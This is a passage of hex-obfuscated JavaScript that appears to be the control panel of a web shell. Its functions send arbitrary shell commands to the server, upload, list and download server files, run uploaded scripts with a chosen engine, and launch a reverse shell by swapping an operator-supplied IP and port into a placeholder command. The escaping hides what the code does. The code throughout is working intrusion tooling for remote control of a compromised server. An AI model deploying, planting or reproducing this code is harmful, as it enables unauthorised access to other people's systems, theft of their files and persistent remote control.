\x3d\x20func\x74i\x6fn\x20()\x20{\n  \x20\x20  \x20\x20\x20 \x20\x20    i\x66\x20(\x78hr.r\x65\x61d\x79S\x74ate\x20=\x3d 4\x20\x26&\x20\x78\x68\x72\x2e\x73t\x61\x74us \x3d= 2\x300) {\n\x20\x20\x20\x20            \x20  \x20\x63\x6fn\x73t\x20res\x70o\x6es\x65 =\x20\x4a\x53O\x4e.\x70\x61\x72\x73\x65(xhr\x2er\x65\x73po\x6ese\x54ext);\n \x20\x20\x20\x20\x20\x20\x20\x20 \x20  \x20 \x20 \x20\x20\x20do\x63ume\x6et\x2ege\x74E\x6c\x65\x6d\x65nt\x42y\x49\x64('\x63\x75rr\x65ntDi\x72e\x63\x74\x6fr\x79\x27)\x2ei\x6e\x6e\x65\x72Tex\x74\x20=\x20r\x65\x73pons\x65\x2edir\x65ct\x6f\x72y;\n \x20 \x20  \x20 \x20\x20\x20 \x20   }\n   \x20 \x20\x20\x20    };\n\x20\x20\x20 \x20\x20\x20\x20    \x78\x68\x72.\x73\x65\x6e\x64('getC\x75rr\x65\x6e\x74Di\x72ect\x6f\x72y\x3d\x74\x72\x75\x65');\n \x20 \x20 \x20\x20\x20}\n\n\x20 \x20 \x20 \x20\x20fu\x6ec\x74\x69on\x20\x74o\x67gl\x65\x4den\x75() {\n\x20\x20\x20\x20\x20    \x20\x20\x20cons\x74 m\x65nu\x20\x3d\x20\x64o\x63\x75me\x6e\x74.\x67\x65\x74\x45l\x65\x6de\x6e\x74\x42yI\x64(\x27\x6d\x65\x6e\x75\x43\x6fn\x74\x65n\x74\x27);\n\x20\x20\x20  \x20\x20  \x20\x20\x20i\x66 (m\x65\x6eu\x2e\x73tyle\x2ed\x69s\x70l\x61y =\x3d= \x27n\x6fne\x27 || \x6denu.s\x74y\x6c\x65\x2ed\x69\x73\x70l\x61\x79\x20\x3d\x3d\x3d \x27\x27) {\n     \x20 \x20     \x20  m\x65n\x75\x2es\x74y\x6ce\x2e\x64\x69\x73\x70\x6ca\x79 =\x20\x27b\x6cock'\x3b\n\x20 \x20   \x20 \x20\x20 \x20}\x20\x65l\x73\x65\x20{\n       \x20\x20 \x20\x20\x20\x20  \x6den\x75\x2e\x73tyle.d\x69\x73\x70l\x61\x79\x20\x3d \x27n\x6f\x6ee\x27\x3b\n \x20\x20 \x20   \x20 \x20 }\n \x20\x20\x20\x20 \x20\x20}\n\n  \x20\x20    \x66\x75\x6ect\x69o\x6e up\x6coad\x46i\x6ce() {\n\x20\x20\x20\x20    \x20 \x20 \x63o\x6es\x74\x20f\x69\x6c\x65\x49\x6eput\x20\x3d d\x6fc\x75m\x65\x6e\x74.get\x45\x6ce\x6den\x74By\x49d('\x66\x69\x6ceU\x70loadIn\x70\x75t\x27)\x3b\n \x20\x20\x20 \x20\x20 \x20   \x63o\x6e\x73t f\x6frm\x44\x61\x74a \x3d \x6ee\x77 F\x6f\x72mData();\n\x20\x20     \x20\x20\x20\x20\x20\x66\x6f\x72m\x44\x61t\x61.\x61\x70\x70end('\x66\x69l\x65\x55\x70load', fi\x6ceI\x6e\x70u\x74\x2ef\x69\x6c\x65s[\x30])\x3b\n\n  \x20 \x20 \x20 \x20\x20\x20\x20co\x6es\x74\x20xh\x72\x20=\x20new X\x4dLH\x74t\x70Re\x71u\x65\x73t()\x3b\n  \x20  \x20\x20\x20\x20\x20\x20\x20x\x68\x72\x2e\x6f\x70en(\x27\x50O\x53\x54',\x20\x67e\x74\x53\x63\x72\x69\x70tN\x61me(),\x20\x74\x72\x75e)\x3b\n \x20\x20\x20   \x20\x20\x20 \x20\x78\x68\x72\x2e\x6fn\x72eadysta\x74e\x63h\x61\x6e\x67e\x20\x3d \x66u\x6ect\x69\x6fn\x20() {\n\x20\x20   \x20  \x20\x20  \x20\x20\x20 \x69f\x20(\x78h\x72\x2e\x72\x65adyS\x74ate \x3d=\x204\x20&& xh\x72\x2e\x73tat\x75s \x3d= \x32\x300) {\n\x20    \x20 \x20  \x20\x20\x20 \x20  \x20  \x63\x6f\x6e\x73\x74 \x72e\x73\x70\x6f\x6e\x73\x65\x20\x3d \x4a\x53\x4f\x4e.p\x61rse(\x78hr.\x72\x65sp\x6fnse\x54\x65xt)\x3b\n \x20\x20\x20 \x20\x20   \x20 \x20   \x20 \x20 co\x6est\x20\x63omm\x61n\x64\x4fu\x74p\x75t \x3d \x64o\x63u\x6den\x74\x2ec\x72\x65\x61te\x45le\x6d\x65n\x74(\x27\x64\x69\x76\x27)\x3b\n  \x20       \x20\x20\x20     \x20\x20\x63\x6fmma\x6e\x64Outpu\x74\x2ein\x6e\x65rH\x54ML =\x20\x27\x3c\x682 cl\x61ss=\"e\x78\x70\x61\x6e\x64\x65d\" o\x6ec\x6c\x69\x63\x6b=\x22t\x6fg\x67l\x65Vis\x69\x62\x69li\x74\x79(\x74h\x69\x73.n\x65\x78\x74\x45lem\x65\x6et\x53\x69\x62l\x69\x6eg)\x22\x3e\x46ile\x20Up\x6c\x6f\x61d\x3c/\x682>\x3cp\x72e>' + res\x70\x6fns\x65.\x6d\x65ss\x61\x67e\x20+\x20\x27</p\x72e>\x27\x3b\n\x20 \x20\x20  \x20 \x20\x20   \x20 \x20\x20\x20 \x20\x63o\x6e\x73\x74\x20\x6f\x75\x74\x70ut\x43\x6f\x6e\x74ainer\x20\x3d do\x63ume\x6et\x2ege\x74E\x6c\x65\x6d\x65n\x74\x42yId(\x27\x63u\x73t\x6f\x6dCom\x6da\x6e\x64O\x75\x74\x70ut');\n \x20\x20 \x20 \x20  \x20\x20\x20\x20 \x20\x20\x20  \x20out\x70u\x74\x43o\x6et\x61\x69\x6e\x65r.i\x6es\x65\x72\x74\x42\x65\x66\x6f\x72\x65(co\x6d\x6da\x6edO\x75t\x70u\x74, \x6f\x75t\x70u\x74C\x6f\x6e\x74ai\x6ee\x72.\x66\x69rs\x74C\x68i\x6c\x64)\x3b\n\x20 \x20\x20 \x20 \x20\x20\x20 \x20\x20  \x20}\n\x20\x20\x20  \x20\x20 \x20\x20\x20 };\n  \x20\x20\x20\x20 \x20  \x20 \x78hr\x2e\x73\x65nd(\x66ormData);\n\x20\x20   \x20\x20\x20}\n\n \x20\x20 \x20 \x20\x20\x66\x75n\x63t\x69on s\x68\x6fwF\x69l\x65\x4c\x69\x73t() {\n     \x20\x20\x20 \x20\x20 \x63\x6fns\x74 x\x68r \x3d \x6eew X\x4d\x4c\x48\x74tpRe\x71ue\x73\x74()\x3b\n\x20  \x20\x20    \x20\x20 x\x68r\x2eope\x6e('\x50\x4f\x53T\x27,\x20getS\x63r\x69\x70t\x4eam\x65(),\x20tr\x75\x65);\n \x20     \x20\x20\x20\x20\x20\x78h\x72\x2e\x73\x65tR\x65questH\x65\x61\x64\x65r('Co\x6e\x74e\x6e\x74-\x54\x79\x70e\x27, 'a\x70plic\x61ti\x6fn/x-\x77ww-f\x6f\x72\x6d-u\x72le\x6ec\x6f\x64ed');\n\x20\x20\x20  \x20\x20 \x20 \x20\x20\x78h\x72\x2eon\x72ead\x79s\x74\x61techan\x67e \x3d\x20fu\x6ect\x69\x6fn ()\x20{\n      \x20    \x20 \x20\x20\x20i\x66\x20(\x78\x68\x72\x2e\x72ead\x79St\x61\x74\x65 == \x34\x20\x26\x26\x20\x78\x68r\x2es\x74at\x75\x73 \x3d\x3d\x20\x320\x30)\x20{\n\x20  \x20\x20\x20\x20  \x20 \x20  \x20 \x20  \x20con\x73\x74 \x72\x65sp\x6fn\x73\x65 = J\x53\x4fN.p\x61rs\x65(x\x68\x72.r\x65\x73\x70\x6f\x6e\x73\x65\x54\x65\x78t)\x3b\n\x20     \x20\x20 \x20 \x20 \x20   \x20  \x63\x6f\x6e\x73t m\x6fda\x6c\x42\x6f\x64\x79 = d\x6f\x63\x75m\x65nt.\x67\x65\x74E\x6ceme\x6e\x74\x42yI\x64(\x27\x6do\x64alB\x6f\x64y');\n \x20 \x20\x20 \x20\x20 \x20\x20\x20\x20\x20\x20 \x20\x20  m\x6f\x64alBo\x64\x79.inne\x72\x48TML\x20\x3d \x27';\n\n  \x20\x20  \x20\x20 \x20\x20 \x20\x20 \x20 \x20\x20 \x63onst fi\x6c\x65s \x3d\x20\x72\x65s\x70on\x73e\x2eo\x75\x74\x70u\x74\x2es\x70\x6cit('\x5cn\x27);\n\x20 \x20\x20  \x20\x20 \x20  \x20    \x20  \x63\x6fn\x73t u\x6c\x20= d\x6fc\x75\x6d\x65nt\x2ec\x72e\x61t\x65E\x6ce\x6d\x65\x6e\x74(\x27\x75\x6c')\x3b\n \x20 \x20  \x20  \x20 \x20\x20  \x20  \x20 \x66\x69l\x65s\x2ef\x6fr\x45a\x63h(f\x69le\x20=\x3e\x20{\n\x20\x20\x20\x20 \x20  \x20 \x20 \x20\x20 \x20 \x20\x20\x20    i\x66\x20(fil\x65) {\n\x20\x20 \x20 \x20\x20\x20    \x20\x20 \x20     \x20\x20    \x20\x63\x6fn\x73\x74\x20\x6ci\x20\x3d do\x63um\x65nt\x2ec\x72e\x61\x74\x65Ele\x6dent(\x27\x6c\x69');\n\x20 \x20 \x20\x20 \x20\x20 \x20\x20 \x20 \x20\x20\x20\x20 \x20 \x20 \x20\x20\x20 l\x69\x2e\x69nn\x65r\x54ext \x3d\x20\x66i\x6c\x65;\n\x20 \x20\x20  \x20 \x20\x20\x20      \x20  \x20\x20\x20 \x20\x20\x20 l\x69.\x6f\x6e\x63l\x69ck\x20\x3d funct\x69\x6fn()\x20{\n\x20  \x20\x20\x20 \x20   \x20\x20\x20 \x20\x20\x20  \x20  \x20  \x20 \x20   do\x77\x6e\x6co\x61dFi\x6ce(\x66\x69l\x65)\x3b\n \x20 \x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20\x20 \x20\x20  \x20};\n \x20\x20 \x20 \x20\x20 \x20  \x20\x20\x20    \x20\x20\x20\x20 \x20  \x20\x75l.appen\x64\x43\x68\x69\x6cd(l\x69);\n\x20 \x20   \x20 \x20       \x20    \x20\x20 }\n\x20\x20     \x20 \x20   \x20 \x20\x20\x20\x20 });\n\n \x20\x20            \x20 \x20 \x20\x6d\x6f\x64\x61lBo\x64y.\x61\x70\x70e\x6ed\x43\x68\x69\x6c\x64(ul)\x3b\n \x20\x20 \x20 \x20 \x20 \x20  \x20 \x20\x20   d\x6fc\x75\x6dent\x2e\x67et\x45\x6cem\x65ntById('fi\x6ceLi\x73tMod\x61l\x27)\x2es\x74y\x6ce.d\x69s\x70\x6ca\x79\x20=\x20'b\x6c\x6f\x63k';\n\x20 \x20\x20\x20 \x20 \x20\x20  \x20 \x20\x20}\n\x20 \x20\x20 \x20 \x20\x20 \x20\x20};\n\x20\x20\x20\x20\x20\x20\x20\x20 \x20\x20 \x78hr.\x73e\x6ed(\x27\x63u\x73tom\x43om\x6d\x61n\x64='\x20+\x20\x65\x6e\x63\x6fd\x65U\x52ICompone\x6et('l\x73\x20-A\x31'))\x3b\n\x20 \x20 \x20  \x20}\n\n\x20\x20\x20\x20\x20\x20\x20\x20\x66un\x63t\x69\x6fn downl\x6fad\x46i\x6c\x65(fileName)\x20{\n   \x20 \x20 \x20\x20\x20\x20\x20co\x6est \x78\x68r = \x6eew \x58M\x4cH\x74tpRe\x71u\x65\x73t()\x3b\n\x20\x20\x20\x20 \x20 \x20 \x20  \x78h\x72.\x6f\x70en('\x50O\x53T\x27, g\x65t\x53c\x72\x69\x70\x74\x4e\x61\x6de(), tru\x65)\x3b\n\x20\x20\x20\x20\x20\x20   \x20 \x20\x78hr.\x73\x65t\x52eq\x75e\x73\x74\x48ea\x64\x65r('\x43\x6f\x6e\x74\x65\x6e\x74-Type',\x20'\x61pp\x6c\x69\x63a\x74i\x6f\x6e/\x78-w\x77w-f\x6fr\x6d-\x75\x72\x6ce\x6eco\x64e\x64');\n   \x20\x20\x20\x20\x20\x20\x20  \x78h\x72.on\x72ea\x64yst\x61\x74e\x63h\x61n\x67\x65 \x3d \x66\x75n\x63t\x69o\x6e ()\x20{\n \x20\x20\x20 \x20\x20 \x20 \x20 \x20   \x69f\x20(\x78h\x72\x2e\x72ea\x64\x79S\x74a\x74\x65\x20==\x204 \x26&\x20x\x68r\x2es\x74atus\x20\x3d=\x20\x32\x300) {\n   \x20\x20\x20 \x20\x20\x20\x20\x20\x20    \x20 \x20\x63\x6fnst\x20r\x65\x73\x70on\x73e\x20=\x20\x4a\x53ON.par\x73\x65(\x78h\x72.re\x73po\x6ese\x54\x65x\x74);\n\x20 \x20\x20\x20\x20 \x20\x20 \x20\x20\x20\x20\x20\x20\x20\x20 \x20c\x6f\x6e\x73t \x63\x6f\x6d\x6d\x61ndO\x75\x74p\x75\x74 \x3d \x64ocu\x6de\x6e\x74\x2e\x63r\x65a\x74e\x45\x6ce\x6d\x65\x6e\x74(\x27d\x69\x76')\x3b\n    \x20\x20 \x20\x20\x20\x20\x20 \x20\x20\x20\x20 \x20 co\x6dma\x6edOu\x74p\x75t\x2e\x69nn\x65rHT\x4dL\x20= \x27<h\x32 \x63l\x61s\x73\x3d\x22e\x78\x70\x61\x6e\x64\x65\x64\"\x20\x6f\x6ecl\x69c\x6b\x3d\x22t\x6fg\x67l\x65\x56\x69\x73\x69b\x69\x6c\x69ty(t\x68\x69\x73.\x6e\x65\x78\x74El\x65\x6de\x6e\x74Si\x62\x6c\x69n\x67)\x22>\x46\x69le\x20\x44\x6fwnlo\x61\x64\x3c/h\x32>\x3c\x70\x72\x65\x3e'\x20+\x20resp\x6f\x6e\x73\x65\x2em\x65\x73s\x61\x67\x65\x20+\x20'\x3c/\x70r\x65>';\n\x20\x20  \x20 \x20 \x20\x20\x20 \x20\x20\x20 \x20\x20 \x20\x63on\x73\x74 outpu\x74\x43on\x74\x61i\x6e\x65\x72 \x3d d\x6fcum\x65n\x74.\x67\x65t\x45le\x6d\x65\x6etB\x79\x49d(\x27\x63u\x73\x74om\x43\x6f\x6dma\x6ed\x4fu\x74put');\n  \x20  \x20    \x20\x20 \x20\x20\x20\x20   \x6f\x75\x74pu\x74\x43\x6f\x6e\x74\x61i\x6e\x65\x72.i\x6eser\x74B\x65fo\x72e(co\x6d\x6da\x6e\x64O\x75\x74\x70ut, ou\x74p\x75tC\x6fn\x74\x61in\x65\x72\x2ef\x69rst\x43h\x69\x6cd);\n\n\x20  \x20  \x20\x20\x20\x20\x20\x20\x20 \x20 \x20   //\x20\x48andle file \x64\x6f\x77\x6e\x6coa\x64\n\x20 \x20\x20\x20     \x20 \x20\x20\x20  \x20  \x69f\x20(r\x65\x73\x70\x6f\x6e\x73e\x2esta\x74\x75\x73 ==\x3d \x27s\x75\x63ce\x73s\x27)\x20{\n  \x20\x20   \x20 \x20    \x20\x20\x20\x20 \x20\x20\x20\x20\x20\x63o\x6est link\x20=\x20d\x6fc\x75men\x74.cr\x65\x61te\x45lem\x65n\x74(\x27\x61\x27)\x3b\n\x20\x20 \x20 \x20 \x20    \x20    \x20 \x20\x20\x20\x20\x20l\x69\x6e\x6b\x2eh\x72\x65f \x3d\x20'\x64a\x74a:\x61ppl\x69\x63a\x74\x69o\x6e/\x6fc\x74\x65t-\x73\x74\x72e\x61m\x3bb\x61s\x656\x34,\x27\x20+ \x72espons\x65\x2efi\x6c\x65C\x6f\x6e\x74\x65n\x74;\n\x20  \x20\x20 \x20 \x20   \x20 \x20  \x20\x20 \x20\x20  \x6c\x69\x6ek\x2edo\x77nload\x20= f\x69\x6c\x65\x4e\x61me\x3b\n\x20 \x20  \x20 \x20  \x20\x20  \x20   \x20  \x20\x20\x20li\x6e\x6b\x2ec\x6c\x69ck();\n\x20\x20    \x20\x20  \x20 \x20 \x20\x20  \x20\x20}\n\x20       \x20     \x20 }\n  \x20\x20 \x20\x20\x20\x20\x20  };\n \x20 \x20\x20 \x20\x20\x20\x20\x20 \x78h\x72.sen\x64(\x27\x64\x6f\x77n\x6c\x6fa\x64Fil\x65=\x27\x20+\x20\x65n\x63ode\x55\x52\x49\x43\x6fm\x70on\x65n\x74(file\x4ea\x6d\x65));\n \x20\x20\x20\x20 \x20 }\n\n \x20\x20 \x20\x20\x20 f\x75\x6ect\x69o\x6e \x63\x6c\x6fs\x65M\x6fda\x6c(m\x6f\x64a\x6cId) {\n    \x20\x20\x20  \x20  d\x6fc\x75\x6d\x65\x6et\x2eg\x65\x74\x45lemen\x74\x42\x79\x49\x64(mo\x64a\x6c\x49d)\x2est\x79\x6c\x65\x2e\x64i\x73pl\x61y\x20=\x20'n\x6f\x6e\x65';\n  \x20\x20    }\n\n  \x20\x20 \x20\x20 \x66u\x6e\x63t\x69\x6fn \x73\x68ow\x52u\x6e\x53cr\x69pt\x4d\x6f\x64a\x6c()\x20{\n   \x20\x20\x20\x20\x20\x20   \x64ocum\x65n\x74\x2e\x67etE\x6ceme\x6e\x74\x42\x79I\x64(\x27\x72\x75nS\x63\x72i\x70\x74\x4dodal\x27)\x2e\x73tyl\x65\x2ed\x69s\x70\x6c\x61\x79 \x3d '\x62\x6c\x6f\x63\x6b';\n   \x20  \x20\x20}\n\n \x20   \x20\x20 func\x74i\x6f\x6e \x73elect\x53criptEngi\x6e\x65(\x65\x6e\x67ine)\x20{\n  \x20  \x20  \x20\x20\x20 \x64\x6f\x63u\x6d\x65n\x74\x2eget\x45le\x6d\x65n\x74B\x79Id(\x27scr\x69p\x74E\x6e\x67ine').value \x3d\x20e\x6e\x67\x69n\x65\x3b\n\x20\x20\x20 \x20\x20\x20\x20\x20   do\x63um\x65\x6e\x74\x2e\x67\x65tEl\x65m\x65\x6et\x42\x79\x49\x64('sc\x72\x69pt\x46il\x65\x49\x6e\x70ut')\x2e\x63\x6c\x69\x63k()\x3b\n \x20 \x20 \x20  }\n\n     \x20 \x20\x66un\x63tio\x6e \x72\x75nS\x63\x72\x69\x70t()\x20{\n   \x20  \x20 \x20 \x20\x20\x63onst\x20\x66il\x65I\x6eput = \x64oc\x75\x6d\x65\x6et\x2e\x67e\x74El\x65\x6d\x65\x6etBy\x49d(\x27\x73\x63r\x69p\x74F\x69\x6c\x65\x49\x6ep\x75\x74')\x3b\n\x20\x20    \x20  \x20  \x63on\x73t e\x6e\x67\x69n\x65 \x3d\x20do\x63um\x65\x6et.\x67e\x74E\x6ceme\x6e\x74B\x79\x49d('sc\x72\x69p\x74\x45n\x67ine').\x76\x61\x6cue\x3b\n\n\x20\x20\x20\x20 \x20\x20\x20\x20  \x20if\x20(f\x69\x6c\x65\x49np\x75t.fil\x65\x73\x2e\x6cength \x3e\x20\x30) {\n \x20\x20\x20    \x20    \x20 \x20const\x20\x66\x69le\x20\x3d \x66i\x6ce\x49n\x70\x75\x74.fi\x6ces[\x30];\n \x20\x20\x20 \x20 \x20\x20\x20\x20   \x20\x20const\x20rea\x64er \x3d \x6e\x65w\x20\x46\x69l\x65R\x65\x61\x64\x65\x72()\x3b\n\n   \x20\x20 \x20  \x20  \x20\x20 \x20r\x65a\x64e\x72.\x6f\x6e\x6co\x61d \x3d fun\x63t\x69\x6fn(\x65)\x20{\n \x20  \x20  \x20 \x20\x20 \x20\x20\x20 \x20   \x63ons\x74 sc\x72\x69p\x74\x43on\x74\x65n\x74 = \x65\x2e\x74a\x72\x67\x65t\x2ere\x73u\x6c\x74;\n  \x20\x20\x20\x20  \x20  \x20\x20 \x20  \x20\x20\x20c\x6fn\x73\x74\x20\x78hr \x3d ne\x77\x20XM\x4cH\x74tpRe\x71u\x65\x73\x74()\x3b\n  \x20  \x20\x20  \x20\x20   \x20\x20 \x20 \x20xhr.o\x70e\x6e('PO\x53T', g\x65t\x53\x63\x72ip\x74\x4e\x61m\x65(), t\x72\x75e);\n  \x20\x20 \x20\x20\x20 \x20\x20 \x20  \x20 \x20 \x20\x78h\x72.\x73etR\x65\x71\x75\x65s\x74\x48\x65\x61d\x65\x72('\x43\x6f\x6e\x74\x65\x6et-T\x79\x70e\x27, 'ap\x70\x6ci\x63\x61tion/\x78-www-f\x6frm-\x75rlen\x63\x6fd\x65\x64')\x3b\n\x20    \x20\x20   \x20\x20       \x20x\x68r.onr\x65a\x64ys\x74at\x65ch\x61\x6ege \x3d fu\x6e\x63\x74\x69on () {\n \x20\x20   \x20  \x20  \x20 \x20 \x20\x20 \x20\x20  \x20i\x66\x20(\x78\x68r.rea\x64\x79S\x74a\x74\x65\x20\x3d= 4 &\x26 \x78hr\x2est\x61\x74\x75\x73\x20\x3d\x3d\x20200) {\n\x20 \x20\x20 \x20\x20 \x20  \x20\x20\x20   \x20 \x20\x20      \x20\x63\x6f\x6e\x73\x74 r\x65s\x70on\x73e =\x20\x4a\x53\x4fN\x2e\x70a\x72\x73e(x\x68\x72.\x72e\x73p\x6fns\x65T\x65\x78t)\x3b\n \x20\x20\x20 \x20 \x20   \x20\x20\x20  \x20   \x20  \x20\x20\x20\x20 \x63ons\x74\x20co\x6d\x6da\x6e\x64O\x75t\x70u\x74\x20=\x20d\x6fc\x75ment\x2ecr\x65\x61\x74e\x45l\x65\x6d\x65\x6et('d\x69\x76\x27);\n    \x20 \x20   \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20 \x20 \x20\x20   \x63\x6f\x6dmandOut\x70ut.in\x6e\x65\x72HTM\x4c =\x20\x27\x3ch\x32\x20cla\x73\x73=\x22\x65xp\x61nd\x65d\" \x6fn\x63\x6ci\x63k\x3d\x22\x74\x6f\x67g\x6ceV\x69s\x69b\x69\x6ci\x74y(thi\x73.\x6eex\x74\x45\x6cem\x65\x6e\x74S\x69b\x6c\x69ng)\x22\x3e'\x20+\x20e\x6e\x67i\x6e\x65 +\x20' \x73\x63\x72ip\x74\x3c/\x68\x32><\x70\x72\x65\x3e' + re\x73\x70\x6f\x6ese\x2e\x6f\x75t\x70ut\x20+ '\x3c/p\x72\x65>'\x3b\n \x20\x20\x20\x20 \x20\x20\x20\x20 \x20   \x20 \x20\x20   \x20\x20\x20\x20\x20\x20con\x73t o\x75t\x70\x75\x74\x43\x6fn\x74ai\x6eer \x3d do\x63\x75me\x6e\x74.g\x65\x74El\x65\x6de\x6et\x42y\x49d(\x27cu\x73\x74\x6fmC\x6f\x6dmand\x4f\x75t\x70ut')\x3b\n   \x20  \x20 \x20  \x20  \x20\x20\x20     \x20  \x20  \x6f\x75\x74\x70ut\x43ont\x61\x69n\x65\x72\x2ei\x6e\x73ertBe\x66\x6fr\x65(\x63\x6fm\x6dandOut\x70\x75t, out\x70\x75t\x43\x6fn\x74ai\x6e\x65r.fi\x72stC\x68\x69ld)\x3b\n \x20\x20\x20 \x20  \x20\x20 \x20\x20    \x20   \x20  }\n\x20  \x20 \x20\x20   \x20\x20     \x20 \x20}\x3b\n \x20\x20\x20\x20 \x20\x20\x20\x20\x20 \x20\x20 \x20    \x78\x68r\x2e\x73\x65\x6ed('r\x75nSc\x72ip\x74\x3d\x74rue&e\x6e\x67ine\x3d'\x20+\x20\x65nco\x64\x65\x55\x52\x49C\x6fm\x70o\x6e\x65nt(en\x67\x69\x6ee)\x20+\x20\x27\x26s\x63\x72\x69\x70\x74\x43o\x6ete\x6et=\x27\x20+ \x65\x6ecode\x55\x52\x49Comp\x6f\x6e\x65n\x74(\x73\x63\x72\x69\x70tC\x6f\x6et\x65\x6e\x74));\n\x20   \x20  \x20  \x20\x20\x20\x20  }\x3b\n\n \x20   \x20\x20\x20 \x20   \x20\x20 \x72\x65\x61\x64er.r\x65\x61d\x41\x73\x54ex\x74(fil\x65)\x3b\n\x20  \x20\x20\x20 \x20 \x20 \x20}\n\x20\x20\x20   \x20\x20}\n\n\x20\x20\x20  \x20  fun\x63\x74\x69\x6fn\x20sho\x77Re\x76\x65\x72\x73e\x53he\x6c\x6c\x4d\x6f\x64\x61\x6c()\x20{\n\x20\x20\x20\x20     \x20  do\x63u\x6d\x65n\x74\x2ege\x74El\x65me\x6etB\x79Id(\x27\x72\x65\x76e\x72\x73eS\x68el\x6cMod\x61\x6c\x27)\x2estyl\x65\x2ed\x69\x73pl\x61y \x3d \x27b\x6c\x6fc\x6b\x27;\n  \x20\x20  \x20 }\n\n\x20\x20 \x20 \x20  f\x75\x6ec\x74\x69on\x20\x73paw\x6e\x52evers\x65S\x68\x65\x6cl(\x73\x68\x65\x6c\x6c\x43om\x6da\x6e\x64)\x20{\n\x20     \x20\x20  \x20\x20c\x6f\x6e\x73t i\x70 \x3d d\x6fcu\x6de\x6et\x2e\x67etEl\x65m\x65\x6e\x74B\x79\x49\x64(\x27shellIp')\x2e\x76a\x6cu\x65\x3b\n\x20 \x20\x20    \x20 \x20\x20const \x70o\x72t\x20\x3d\x20d\x6f\x63\x75\x6den\x74.\x67\x65\x74\x45l\x65m\x65n\x74B\x79I\x64('\x73he\x6clP\x6fr\x74')\x2evalue\x3b\n \x20\x20\x20\x20\x20  \x20\x20 \x20\x63\x6fnst\x20c\x6f\x6d\x6da\x6ed \x3d\x20\x73h\x65llCo\x6d\x6da\x6ed\x2ere\x70la\x63\x65(\x27\x310.1\x30\x2e\x31\x30.1\x30', \x69p).r\x65p\x6ca\x63\x65('9\x3001\x27, por\x74);\n\n\x20\x20\x20 \x20 \x20 \x20\x20\x20\x20\x63on\x73t\x20x\x68r\x20=\x20\x6eew\x20X\x4dL\x48t\x74p\x52\x65\x71u\x65\x73t();\n  \x20\x20 \x20  \x20\x20\x20 xh\x72\x2e\x6f\x70\x65n(\x27POST',\x20\x67\x65\x74\x53cript\x4e\x61\x6d\x65(),\x20true)\x3b\n \x20   \x20\x20\x20  \x20 \x78\x68\x72.s\x65tR\x65que\x73t\x48e\x61d\x65r(\x27\x43on\x74ent-\x54y\x70e',\x20'a\x70\x70\x6ci\x63a\x74io\x6e/x-w\x77w-\x66\x6frm-u\x72le\x6ec\x6fded');\n\x20 \x20\x20     \x20\x20\x20\x78\x68\x72.\x6f\x6er\x65\x61d\x79st\x61\x74ec\x68\x61\x6e\x67e\x20= f\x75nction\x20()\x20{\n\x20\x20 \x20\x20\x20\x20   \x20\x20\x20\x20  i\x66 (xh\x72\x2ere\x61dy\x53t\x61\x74e \x3d\x3d\x20\x34\x20\x26& xhr.s\x74\x61t\x75s\x20==\x202\x30\x30)\x20{\n\x20 \x20 \x20\x20\x20\x20\x20  \x20\x20  \x20\x20 \x20\x20\x63\x6f\x6es\x74 r\x65\x73po\x6e\x73\x65\x20\x3d JSO\x4e\x2e\x70ar\x73\x65(x\x68\x72.r\x65\x73\x70o\x6e\x73eT\x65x\x74);\n\x20 \x20 \x20\x20\x20\x20 \x20\x20 \x20\x20 \x20\x20  \x20\x63o\x6est\x20\x63ommandO\x75\x74\x70\x75\x74\x20=\x20\x64ocume\x6et\x2e\x63\x72eat\x65E\x6cem\x65nt('d\x69v\x27);\n \x20 \x20\x20  \x20\x20  \x20 \x20  \x20  \x20\x63\x6fm\x6d\x61\x6e\x64O\x75t\x70\x75t.i\x6en\x65\x72HTML \x3d '<h2 \x63la\x73s=\x22e\x78pa\x6ede\x64\" o\x6e\x63l\x69\x63\x6b\x3d\x22t\x6fggl\x65\x56\x69s\x69\x62\x69li\x74\x79(t\x68\x69s\x2e\x6ee\x78\x74\x45lem\x65\x6e\x74\x53i\x62\x6ci\x6e\x67)\x22\x3eR\x65\x76\x65r\x73e\x20S\x68ell\x3c/h2>\x3c\x70re>' +\x20\x72esp\x6fn\x73\x65.out\x70u\x74 +\x20\x27\x3c/pr\x65\x3e';\n\x20\x20 \x20\x20\x20\x20 \x20\x20\x20\x20\x20\x20\x20 \x20 \x20\x20\x63onst \x6f\x75t\x70\x75\x74\x43o\x6eta\x69ner\x20=\x20d\x6fcum\x65\x6et\x2e\x67etEle\x6dentB\x79\x49d(\x27\x63u\x73\x74o\x6d\x43om\x6da\x6edO\x75t\x70u\x74')\x3b\n  \x20 \x20\x20\x20  \x20\x20  \x20 \x20 \x20 \x20o\x75t\x70ut\x43\x6fn\x74\x61iner\x2e\x69nse\x72\x74B\x65\x66ore(\x63\x6fmm\x61\x6e\x64O\x75tp\x75\x74,\x20o\x75\x74\x70u\x74\x43\x6f\x6e\x74aine\x72.f\x69\x72\x73tChild)\x3b\n\x20\x20\x20 \x20 \x20 \x20  \x20 \x20\x20 }\n    \x20\x20\x20  \x20  }\x3b\n \x20\x20\x20\x20\x20 \x20\x20 \x20\x20\x78\x68\x72.\x73e\x6e\x64(\x27cu\x73t\x6fmC\x6f\x6dma\x6e\x64=\x27\x20+ enco\x64\x65U\x52IC\x6fm\x70\x6f\x6e\x65\x6e\x74(co\x6dma\x6e\x64));\n\x20\x20\x20  \x20\x20\x20  \x20\x20c\x6cos\x65\x4d\x6f\x64al(\x27\x72\x65\x76\x65\x72s\x65\x53h\x65llModa\x6c\x27)\x3b\n \x20\x20\x20    }\n\n\x20 \x20\x20 \x20  \x64ocu\x6de\x6et\x2e\x61dd\x45v\x65ntL\x69s\x74\x65ner('\x44O\x4d\x43o\x6et\x65ntL\x6fa\x64ed',\x20f\x75\x6e\x63tion\x20() {\n\x20\x20 \x20\x20\x20\x20\x20  \x20 doc\x75\x6d\x65\x6e\x74\x2eg\x65\x74E\x6ceme\x6etBy\x49\x64('cust\x6f\x6dC\x6f\x6dm\x61n\x64').ad\x64\x45\x76\x65\x6e\x74\x4c\x69ste\x6eer(\x27\x6be\x79p\x72e\x73s\x27, \x66\x75n\x63t\x69on (e) {\n \x20\x20   \x20   \x20\x20  \x20\x20if\x20(e.k\x65y === 'En\x74\x65r\x27)\x20{\n \x20  \x20\x20  \x20 \x20\x20  \x20   \x20\x20\x72u\x6e\x43u\x73tomComman\x64()\x3b\n\x20\x20 \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20   \x20 \x20\x20e.p\x72e\x76\x65\x6e\x74\x44\x65\x66a\x75\x6c\x74()\x3b\x20// 